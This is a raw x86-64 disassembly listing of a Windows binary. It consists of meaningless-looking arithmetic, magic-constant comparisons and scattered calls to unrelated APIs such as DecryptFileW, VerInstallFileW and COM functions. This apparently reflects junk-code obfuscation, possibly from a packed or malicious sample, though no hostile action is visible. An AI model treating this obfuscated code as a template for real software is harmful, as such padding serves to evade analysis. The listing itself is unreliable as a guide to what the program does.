mov ecx, dword [rsp + 0x21e4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x4050]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x14005ea91
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4158]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0x1d
lea rax, [rsp + 0x17ee8]
mov qword [rsp + 0x20], rax
mov r9d, 0x38
lea r8, [rsp + 0x900]
lea rdx, [rsp + 0x17f08]
lea rcx, [rsp + 0xfd]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x21ec], eax
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x222c], al
cmp byte [rsp + 0x222c], 0x20
je 0x14005eabd
cmp byte [rsp + 0x222c], 0xc5
je 0x1401525b5
jmp 0x14015263d
lea rax, [rsp + 0x3f98]
mov qword [0x1401a0f98], rax
mov rax, qword [rsp + 0x4250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x8ec], ax
mov eax, dword [rsp + 0x2084]
mov dword [rsp + 0x2230], eax
cmp dword [rsp + 0x2230], 0x2a162fde
je 0x14005eb3d
cmp dword [rsp + 0x2230], 0xd8038d31
je 0x14005eb17
jmp 0x14005eb6c
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4180]
mov qword [rcx], rax
jmp 0x14005eb6c
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x21e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x21a0], eax
lea rcx, [rsp + 0x17e68]
call qword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [rsp + 0x2134], eax
mov rax, qword [rsp + 0x4200]
mov rcx, qword [rsp + 0x41f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x21a4], eax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov qword [rsp + 0x4288], rax
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
sar eax, cl
movsx ecx, byte [rsp + 0xfd]
mov rdx, qword [rsp + 0x4150]
movsx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
je 0x14005ed11
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x67c]
shl eax, cl
movsx ecx, word [rsp + 0x8fc]
mov rdx, qword [rsp + 0x4270]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jge 0x14005ec3f
movzx eax, byte [rsp + 0x6b]
movzx ecx, byte [rsp + 0xfe]
and eax, ecx
mov rcx, qword [rsp + 0x41e8]
mov byte [rcx], al
mov r9d, dword [rsp + 0x2128]
movzx r8d, word [rsp + 0x8fc]
movzx edx, byte [rsp + 0xfd]
movzx ecx, word [rsp + 0x67c]
call fcn.140154120
nop
mov rax, qword [rsp + 0x4270]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8fc]
sub eax, ecx
mov word [rsp + 0x8f4], ax
mov rax, qword [rsp + 0x3f98]
mov qword [rsp + 0x4290], rax
movabs rax, 0x270f3a9cb2d40e15
cmp qword [rsp + 0x4290], rax
je 0x14005ec96
movabs rax, 0x5d650bed70ba2a6a
cmp qword [rsp + 0x4290], rax
je 0x14005ed02
jmp 0x14005ed11
movsx eax, word [rsp + 0x8fc]
mov rcx, qword [rsp + 0x41d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4270]
mov word [rcx], ax
mov ecx, 0x95
call qword [sym.imp.KERNEL32.dll_ExitThread]
lea rcx, [rsp + 0x41d8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x4180]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4248]
mov rdx, qword [0x1401a0008]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jb 0x140152594
mov rax, qword [rsp + 0x4180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f98]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4010]
mov rdx, qword [0x1401a0008]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x14015241a
mov rax, qword [rsp + 0x41d8]
movzx eax, word [rax]
mov word [rsp + 0x904], ax
mov rax, qword [rsp + 0x4078]
mov qword [rsp + 0x4298], rax
cmp qword [rsp + 0x4298], 0
je 0x14005edca
movabs rax, 0xb756b29714462617
cmp qword [rsp + 0x4298], rax
je 0x1401522a5
jmp 0x1401522fa
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4208]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4158]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x3f98]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14005ee3a
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
movzx edx, word [rsp + 0x900]
movzx ecx, word [rsp + 0x8ec]
call fcn.140154660
nop
jmp 0x14005f05e
mov eax, dword [rsp + 0x21a4]
mov ecx, dword [rsp + 0x2150]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4238]
mov edx, dword [rsp + 0x2128]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jle 0x14005f05e
mov rax, qword [rsp + 0x4268]
mov eax, dword [rax]
mov dword [rsp + 0x2234], eax
cmp dword [rsp + 0x2234], 0
je 0x14005ee87
jmp 0x14005f045
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0x101]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xff]
add ecx, edx
cmp eax, ecx
je 0x14005ef14
lea rdx, [rsp + 0x41d8]
lea rcx, [rsp + 0x17ef8]
call qword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [rsp + 0x2198], eax
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4250]
mov word [rcx], ax
jmp 0x14005f043
mov rax, qword [rsp + 0x40b8]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4090]
mov rdx, qword [rsp + 0x3a78]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14005f043
movsx eax, word [rsp + 0x904]
mov dword [rsp + 0x2238], eax
cmp dword [rsp + 0x2238], 0
je 0x14005ef6a
jmp 0x14005f05e
movzx edx, word [rsp + 0x8f8]
mov rax, qword [rsp + 0x4250]
movzx ecx, word [rax]
call fcn.140154660
nop
mov rax, qword [rsp + 0x4130]
movzx eax, byte [rax]
mov byte [rsp + 0x2240], al
cmp byte [rsp + 0x2240], 0x29
je 0x14005f12f
cmp byte [rsp + 0x2240], 0x52
je 0x14005f08d
jmp 0x14005f168
lea rdx, [rsp + 0x4018]
mov rcx, qword [rsp + 0x4230]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x21c4], eax
mov rax, qword [rsp + 0x4058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4200]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21a4]
sar eax, cl
mov dword [rsp + 0x2150], eax
lea r8, [rsp + 0x4048]
lea rdx, [rsp + 0x17f18]
mov ecx, 0x8b
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x2244], eax
mov rax, qword [rsp + 0x4050]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4268]
mov dword [rcx], eax
jmp 0x14005f168
mov rax, qword [0x1401a0f98]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3f98], rax
movzx edx, byte [rsp + 0xf9]
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rax]
call fcn.140154b70
nop
mov rax, qword [rsp + 0x4278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4270]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x41d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x212c]
mov dword [rsp + 0x2248], eax
cmp dword [rsp + 0x2248], 0x6f89ed87
je 0x14005f1a8
jmp 0x14005f1f8
mov rax, qword [rsp + 0x4188]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
lea r9, [rsp + 0x6b]
lea r8, [rsp + 0x17e78]
lea rdx, [rsp + 0x3fa8]
lea rcx, [rsp + 0x17fb8]
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rsp + 0x21c8], eax
jmp 0x1401521fe
mov rax, qword [rsp + 0x4090]
mov qword [rsp + 0x42b0], rax
movabs rax, 0x4a69bd34da01635e
cmp qword [rsp + 0x42b0], rax
je 0x14005f3c5
movsx eax, word [rsp + 0x8fc]
mov dword [rsp + 0x39a4], eax
cmp dword [rsp + 0x39a4], 0x586
je 0x14015221c
mov edx, 0xa1
mov rcx, qword [rsp + 0x43d0]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x2214], eax
mov eax, dword [rsp + 0x21e4]
movzx ecx, al
mov eax, dword [rsp + 0x217c]
shr eax, cl
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4078]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4208], rax
lea rax, [rsp + 0x40c0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x4470]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x4218]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x4470]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4478]
mov r8, qword [rsp + 0x4470]
mov rdx, qword [rsp + 0x42a8]
mov ecx, 0xd6
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x21e0], eax
mov rax, qword [rsp + 0x4150]
movzx eax, byte [rax]
mov byte [rsp + 0x39a8], al
cmp byte [rsp + 0x39a8], 0x10
je 0x14015237f
cmp byte [rsp + 0x39a8], 0x31
je 0x14015239d
jmp 0x1401523bf
mov rax, qword [rsp + 0x4238]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401a0f90]
shl eax, cl
mov dword [rsp + 0x21a4], eax
jmp 0x1401523bf
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x41e8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
movzx ecx, word [0x1401a0f94]
add eax, ecx
mov word [0x1401a0014], ax
mov rax, qword [rsp + 0x4040]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rax]
call fcn.140154b70
nop
jmp 0x140152436
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x4150]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21e0]
shl eax, cl
mov rcx, qword [rsp + 0x3fe0]
mov edx, dword [rsp + 0x2084]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jbe 0x1401524a5
mov rax, qword [rsp + 0x41f8]
mov rcx, qword [rsp + 0x4200]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4238]
mov dword [rcx], eax
lea rdx, [rsp + 0x41a8]
mov rcx, qword [rsp + 0x42c0]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [rsp + 0x20b8], eax
jmp 0x140152594
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4130]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jle 0x140152594
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x20a0]
mov dword [rsp + 0x39ac], eax
cmp dword [rsp + 0x39ac], 0x283e26de
je 0x14015251f
cmp dword [rsp + 0x39ac], 0x713ce718
je 0x140152578
jmp 0x140152594
mov rax, qword [0x1401a0f98]
mov rcx, qword [rsp + 0x4048]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
lea rcx, [rsp + 0x21bc]
call qword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
mov dword [rsp + 0x21c4], eax
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4268]
mov dword [rcx], eax
jmp 0x140152594
mov rax, qword [rsp + 0x41f0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4190]
movzx ecx, word [rax]
call fcn.140154660
nop
mov rax, qword [rsp + 0x40d0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rax]
call fcn.140154b70
nop
jmp 0x14015263d
lea r9, [rsp + 0x4090]
lea r8, [rsp + 0x8f8]
mov edx, 0xf1
mov rcx, qword [rsp + 0x4458]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0x228c], eax
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x41e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x4278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x67c]
and eax, ecx
mov word [rsp + 0x8f4], ax
movzx r8d, word [rsp + 0x67c]
mov rdx, qword [rsp + 0x4078]
mov rax, qword [rsp + 0x4270]
movzx ecx, word [rax]
call fcn.1401539e0
nop
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov qword [rsp + 0x17e28], rax
movabs rax, 0x3e4f958ec4f18b37
cmp qword [rsp + 0x17e28], rax
je 0x140152666
jmp 0x1401526c3
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x67c]
sub eax, ecx
movsx ecx, word [rsp + 0x8f4]
movsx edx, word [rsp + 0x8fc]
sub ecx, edx
cmp eax, ecx
jne 0x1401526c1
mov rax, qword [rsp + 0x4200]
mov r9d, dword [rax]
movzx r8d, word [rsp + 0x8fc]
mov rax, qword [rsp + 0x4150]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x41d8]
movzx ecx, word [rax]
call fcn.140154120
nop
jmp 0x1401526e3
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x41f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8ec], ax
jmp 0x14015279a
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x67c]
shl eax, cl
mov word [rsp + 0x8f4], ax
mov eax, dword [rsp + 0x2128]
mov ecx, dword [rsp + 0x2150]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4238]
mov rdx, qword [rsp + 0x4200]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfd]
mov byte [rsp + 0x39b0], al
cmp byte [rsp + 0x39b0], 6
je 0x14015276c
jmp 0x14015277e
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rax]
call fcn.140153e90
nop
jmp 0x14015279a
lea rdx, [rsp + 0x17e68]
mov rcx, qword [rsp + 0x4218]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x21e0], eax
mov rax, qword [rsp + 0x4040]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rax]
call fcn.140154b70
nop
jmp 0x140152810
mov rax, qword [rsp + 0x4238]
mov ecx, dword [rsp + 0x2150]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4200]
mov dword [rcx], eax
lea r8, [rsp + 0x4190]
mov edx, 0x4d
lea rcx, [rsp + 0x17ef8]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x2184], eax
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4158]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4180]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2084]
movzx ecx, al
mov eax, dword [rsp + 0x20e8]
shl eax, cl
mov dword [rsp + 0x21e4], eax
jmp 0x14015286a
mov edx, 0x68
mov rcx, qword [rsp + 0x41c0]
call qword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
mov dword [rsp + 0x20b8], eax
movsx eax, word [rsp + 0x8fc]
movsx ecx, word [rsp + 0x67c]
sub eax, ecx
mov word [rsp + 0x8f4], ax
mov rax, qword [rsp + 0x41f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2128]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4200]
mov dword [rcx], eax
mov eax, dword [0x1401a0f90]
mov dword [rsp + 0x39b4], eax
cmp dword [rsp + 0x39b4], 0x101816cf
je 0x1401528bf
jmp 0x1401528e8
mov r9d, dword [rsp + 0x2128]
movzx r8d, word [rsp + 0x8fc]
movzx edx, byte [rsp + 0x7c]
mov rax, qword [rsp + 0x41d8]
movzx ecx, word [rax]
call fcn.140154120
nop
jmp 0x140152940
mov dword [rsp + 0x28], 0xe1
lea rax, [rsp + 0x186b0]
mov qword [rsp + 0x20], rax
lea r9, str.Echelon_Whisked_Waifs
lea r8, [rsp + 0x41f8]
mov edx, 0x33
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov dword [rsp + 0x2150], eax
mov eax, dword [rsp + 0x212c]
movzx ecx, al
mov eax, dword [rsp + 0x21e0]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4158]
mov qword [rsp + 0x17e30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x17e30]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
or eax, ecx
movzx ecx, word [rsp + 0x8f0]
mov dword [rsp + 0x39b8], ecx
mov rdx, qword [rsp + 0x41f0]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x39b8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x1401529dc
mov r9d, dword [rsp + 0x2150]
movzx r8d, word [rsp + 0x8f4]
mov rax, qword [rsp + 0x4150]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x67c]
call fcn.140154120
nop
lea rdx, [rsp + 0x41b0]
lea rcx, [fcn.1401539e0]
call qword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
mov dword [rsp + 0x21c4], eax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x41e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
mov dword [rsp + 0x39bc], eax
cmp dword [rsp + 0x39bc], 0x57a4
je 0x140152a43
jmp 0x140152b25
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov rdx, qword [rsp + 0x40b8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jge 0x140152ab8
lea rdx, [rsp + 0x41e0]
lea rcx, [fcn.140154b70]
call qword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
mov dword [rsp + 0x20b8], eax
mov rax, qword [rsp + 0x41d8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4158]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0x8f4]
call fcn.1401539e0
nop
mov rax, qword [rsp + 0x41f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x41f0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x41a8]
call qword [sym.imp.KERNEL32.dll_SetConsoleActiveScreenBuffer]
mov dword [rsp + 0x21c4], eax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfd]
and eax, ecx
mov byte [rsp + 0xfb], al
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
jmp 0x140152b72
mov r9d, dword [rsp + 0x2150]
movzx r8d, word [rsp + 0x67c]
movzx edx, byte [rsp + 0xfd]
movzx ecx, word [rsp + 0x67c]
call fcn.140154120
nop
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfa], al
mov edx, 0xd4
mov rcx, qword [rsp + 0x4198]
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov dword [rsp + 0x228c], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4150]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x4158]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov eax, dword [rsp + 0x21a4]
mov dword [rsp + 0x39c0], eax
cmp dword [rsp + 0x39c0], 0x68b47680
je 0x140152c24
jmp 0x140152c9a
lea rax, [rsp + 0x4040]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x75
lea rax, [rsp + 0x3a78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd8
mov r9d, 0xd6
lea r8, [rsp + 0x4358]
lea rdx, [rsp + 0xfa]
lea rcx, [rsp + 0x4358]
call qword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [rsp + 0x2134], eax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4090]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
lea rcx, [rsp + 0x40c0]
call qword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [rsp + 0x21c8], eax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3a78]
shl rax, cl
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
call qword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [rsp + 0x2198], eax
mov eax, dword [rsp + 0x2150]
mov ecx, dword [0x1401a0f90]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x21a4], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4158]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
and eax, 0x12
mov word [rsp + 0x8f0], ax
jmp 0x140152ddc
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
shl eax, cl
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4158]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401a0008], rax
mov dword [rsp + 0x38], 0xbc
mov rax, qword [rsp + 0x4358]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf4
mov dword [rsp + 0x20], 0x50
lea r9, [rsp + 0x20b8]
mov r8d, 0xf7
mov edx, 0xc5
lea rcx, [rsp + 0x2128]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0x20dc], eax
lea rcx, [rsp + 0x4078]
call qword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [rsp + 0x2178], eax
movzx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x40d0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x40b8]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3a78], rax
mov r8w, 0xaa
mov rax, qword [rsp + 0x4158]
mov rdx, qword [rax]
mov cx, 0xc0
call fcn.1401539e0
nop
jmp 0x140152f2c
xor r9d, r9d
lea r8, [rsp + 0x17f18]
lea rdx, [rsp + 0x4418]
lea rcx, [rsp + 0x20b8]
call qword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [rsp + 0x2198], eax
mov rax, qword [rsp + 0x40b8]
mov rcx, qword [rsp + 0x4018]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov rdx, qword [rsp + 0x3a78]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jge 0x140152ee4
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfb]
sar eax, cl
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov r9d, dword [rsp + 0x2150]
mov r8w, 0xeb
mov rax, qword [rsp + 0x4008]
movzx edx, byte [rax]
mov cx, 0xc8
call fcn.140154120
nop
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x40d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
or eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov ecx, dword [rsp + 0x20a0]
call fcn.140153e90
nop
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x3fa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4010], rax
lea rdx, [rsp + 0x3a78]
lea rcx, [rsp + 0x17e98]
